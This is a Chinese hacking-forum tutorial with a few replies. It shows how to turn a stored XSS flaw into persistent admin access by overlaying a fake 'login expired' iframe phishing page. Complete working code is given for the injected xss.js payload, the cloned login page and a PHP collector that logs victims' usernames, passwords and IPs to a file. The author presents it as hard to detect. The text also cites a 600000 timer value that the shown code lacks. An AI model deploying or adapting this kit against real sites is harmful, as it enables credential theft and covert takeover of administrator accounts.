用户
搜索
  • TA的每日心情
    擦汗
    2020-2-10 04:44
  • 签到天数: 62 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋-核心白帽

    Rank: 4

    6

    主题

    106

    帖子

    802

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2016-7-10
    发表于 2019-12-17 03:47:04 44916
    本帖最后由 说书人 于 2019-12-17 03:56 编辑

    0x00  前言
    本文所讲的知识点很早就有,只是因为最近小伙伴讨论的比较多,而且很多小伙伴不太明确流程,故有了此文,大佬请忽略

    xss大家都不陌生,最常用的就是打管理员的cookie然后拿到后台权限。
    但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难,下面列举了三点。

    随着开发者安全意识的提高,现在基本上都是开了httponly了,也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的),这是其一。

    cookie具有时效性,比如说获取到的cookie过期了,而管理员又没有进行第二次登录并触发的情况下,你的权限就掉了,这是其二。

    xss漏洞已修复,并且之前的代码已被删除或者无法触发(比如说xss在一个留言处,当后面有很多留言时,你的代码可能就到下一页去了,管理员也一般不会去翻,也就不会触发),这是其三

    所以本篇文章就来介绍通过xss来获取管理员的账号密码,实现权限的维持,而且获取了账号密码,用途还有很多,比如说社工。

    0x01 流程
    1.webp.jpg
    打字描述不太直观,直接上一个流程图

    0x02 准备工作
    根据流程图中所展示,我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示,这里准备了以下文件:
    [AppleScript] 纯文本查看 复制代码
    admin_login.html  //原管理登录页面
    admin_index.html  //原管理后台页面
    fish.html         //我们高仿的登录页面,也就是钓鱼页
    get.php           //数据接收文件
    xss.js            //xss的payload

    代码量很小,我在这里直接贴出来:
    [HTML] 纯文本查看 复制代码
    //admin_login.html  原管理登录页面
    <html>
    <body>
    <head><title>管理员登录</title></head>
    <form method="post" action="http://xxx/x.php">
    用户名:<br>
    <input type="text" name="username">
    <br>
    密码:<br>
    <input type="text" name="password">
    <br><br>
    <input type="submit" value="登录">
    </form> 
    </body>
    </html>
    



    [HTML] 纯文本查看 复制代码
    //admin_index.html  原管理后台页面
    <html>
    <body>
    <head><title>管理员后台</title></head>
    <h1>这里是管理员后台,你已成功登录</h1>
    <button type="button">一键日卫星</button>
    <hr><b>最新留言</b>
    <ul>
    <li>说书人长得好帅</li>
    <li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
    </ul>
    </body>
    </html>



    [HTML] 纯文本查看 复制代码
    //fish.html  我们仿的登录页面,也就是钓鱼页
    <html>
    <body>
    <head><title>管理员登录</title></head>
    <form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
    用户名:<br>
    <input type="text" name="username">
    <br>
    密码:<br>
    <input type="text" name="password">
    <br><br>
    <input type="submit" value="Submit">
    </form> 
    </body>
    </html>



    [PHP] 纯文本查看 复制代码
    //get.php  数据接收文件
    <?php
    $line = '----------------------------------'."\r\n";
    $user = '账号:'.$_POST['username']."\r\n";
    $pwd = '密码:'.$_POST['password']."\r\n";
    $ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";
    $url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";
    $date ='日期:'. date("Y-m-d")."\r\n";
    $result = $line.$url.$user.$pwd.$ip.$date;
    file_put_contents('good.txt',$result, FILE_APPEND);
    header("Location: [url]http://127.0.0.1/admin_index.html[/url]");
    ?>



    [JavaScript] 纯文本查看 复制代码
    //xss.js  xss的payload
    setTimeout(function() {
        alert("登陆过期,请重新登陆!");
        parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src = \"http://127.0.0.1/fish.html\" frameBorder=0 scrolling=no></iframe>");
        setTimeout(function() {
            document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
        },
        100);
        setTimeout(function() {
            parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
        },
        100);
    },
    5000);


    0x03 本地演示

    首先管理员登录后台后,xss触发了,弹窗提示登录过期,需要重新登录
    2.webp.jpg

    然后出来的是iframe的钓鱼页面,注意地址没有跳转到我们的钓鱼页面url
    3.webp.jpg

    管理员输入完账号密码后,又跳转回真实的后台页面,由于登录信息并没有失效,所以刚刚的登录仿真度极高。于此同时,我们的接收程序已经将管理员账号密码保存到了我们的钓鱼服务器上
    4.webp.jpg

    0x04  结尾
    xss.js的第14行的600000指的是每10分钟执行一次,符合一般的过期规则,大家也可以自行修改。由于仿真度极高,不易察觉,所以权限维持率高。



    文章转自我自己的公众号:台下言书,修改了下发出来(公众号发的时候因为有点标题党被喷惨了~),喜欢的可以关注下公众号。

    感谢分享
    使用道具 举报 回复
    学习了
    使用道具 举报 回复
    村长CZ 管理员 有事找村长QQ:780876774 i春秋认证 幽默灌水王 春秋文阁 春秋达人 春秋巡逻 春秋游侠 积极活跃奖 核心白帽
    地板
    发表于 2019-12-18 15:35:10
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    这波秀,很多次都是权限掉了
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册